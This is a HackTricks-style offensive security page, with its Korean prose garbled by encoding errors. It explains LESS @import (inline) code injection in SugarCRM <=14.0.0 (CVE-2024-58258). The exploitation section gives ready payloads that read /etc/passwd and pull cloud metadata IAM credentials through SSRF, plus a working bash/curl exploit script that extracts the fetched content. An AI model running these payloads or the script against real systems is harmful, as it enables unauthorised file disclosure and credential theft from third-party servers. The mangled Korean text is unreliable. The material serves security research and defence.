LESS Code Injection leading to SSRF & Local File Read
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
LESS๋ ๋ณ์, mixins, ํจ์ ๋ฐ ๊ฐ๋ ฅํ @import ์ง์์๋ฅผ ์ถ๊ฐํ๋ ์ธ๊ธฐ ์๋ CSS pre-processor์
๋๋ค. ์ปดํ์ผ ๊ณผ์ ์์ LESS ์์ง์ (inline) ์ต์
์ด ์ฌ์ฉ๋ ๋ @import ๋ฌธ์ ์ฐธ์กฐ๋ ๋ฆฌ์์ค๋ฅผ fetchํ์ฌ ํด๋น ๋ด์ฉ์ ๊ฒฐ๊ณผ CSS์ ์๋ฒ ๋(โinlineโ)ํฉ๋๋ค.
์ ํ๋ฆฌ์ผ์ด์
์ด ๋์ค์ LESS ์ปดํ์ผ๋ฌ์ ์ํด ํ์ฑ๋๋ ๋ฌธ์์ด์ user-controlled input์ ์ฐ๊ฒฐ(concatenate)ํ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ inject arbitrary LESS codeํ ์ ์์ต๋๋ค. @import (inline)๋ฅผ ๋จ์ฉํ๋ฉด ๊ณต๊ฒฉ์๋ ์๋ฒ๋ก ํ์ฌ๊ธ ๋ค์์ ๊ฐ์ ธ์ค๋๋ก ๊ฐ์ ํ ์ ์์ต๋๋ค:
- ๋ก์ปฌ ํ์ผ:
file://ํ๋กํ ์ฝ์ ํตํด (information disclosure / Local File Inclusion). - ๋ด๋ถ ๋คํธ์ํฌ ๋๋ ํด๋ผ์ฐ๋ ๋ฉํ๋ฐ์ดํฐ ์๋น์ค์ ์๊ฒฉ ๋ฆฌ์์ค (SSRF).
์ด ๊ธฐ๋ฒ์ SugarCRM โค 14.0.0 (/rest/v10/css/preview endpoint) ๊ฐ์ ์ค์ ์ ํ์์ ๋ฐ๊ฒฌ๋ ๋ฐ ์์ต๋๋ค.
Exploitation
- LESS ์์ง์ด ์ฒ๋ฆฌํ๋ stylesheet ๋ฌธ์์ด ์์ ์ง์ ์ฝ์
๋๋ ํ๋ผ๋ฏธํฐ๋ฅผ ์๋ณํฉ๋๋ค(์: SugarCRM์
?lm=). - ํ์ฌ ๋ฌธ์ฅ์ ๋ซ๊ณ ์๋ก์ด ์ง์์๋ฅผ ์ฃผ์ ํฉ๋๋ค. ๊ฐ์ฅ ํํ ์์(primitive)๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
;โ ์ด์ ์ ์ธ์ ์ข ๋ฃํฉ๋๋ค.}โ ์ด์ ๋ธ๋ก์ ๋ซ์ต๋๋ค(ํ์ํ ๊ฒฝ์ฐ).
@import (inline) '<URL>';๋ฅผ ์ฌ์ฉํ์ฌ ์์์ ๋ฆฌ์์ค๋ฅผ ์ฝ์ต๋๋ค.- ์ ํ์ ์ผ๋ก import ๋ค์ marker(
data:URI)๋ฅผ ์ฃผ์ ํ์ฌ ์ปดํ์ผ๋ CSS์์ ๊ฐ์ ธ์จ ๋ด์ฉ์ ์ถ์ถํ๊ธฐ ์ฝ๊ฒ ๋ง๋ญ๋๋ค.
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
/etc/passwd์ ๋ด์ฉ์ด HTTP ์๋ต์ @@END@@ ๋ง์ปค ๋ฐ๋ก ์์ ๋ํ๋ฉ๋๋ค.
SSRF โ ํด๋ผ์ฐ๋ ๋ฉํ๋ฐ์ดํฐ
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
์๋ํ๋ PoC (SugarCRM ์์)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
์ค์ ์ฌ๋ก
| ์ ํ | ์ทจ์ฝํ ์๋ํฌ์ธํธ | ์ํฅ |
|---|---|---|
| SugarCRM โค 14.0.0 | /rest/v10/css/preview?lm= | ์ธ์ฆ๋์ง ์์ SSRF ๋ฐ ๋ก์ปฌ ํ์ผ ์ฝ๊ธฐ |
์ฐธ์กฐ
- SugarCRM โค 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


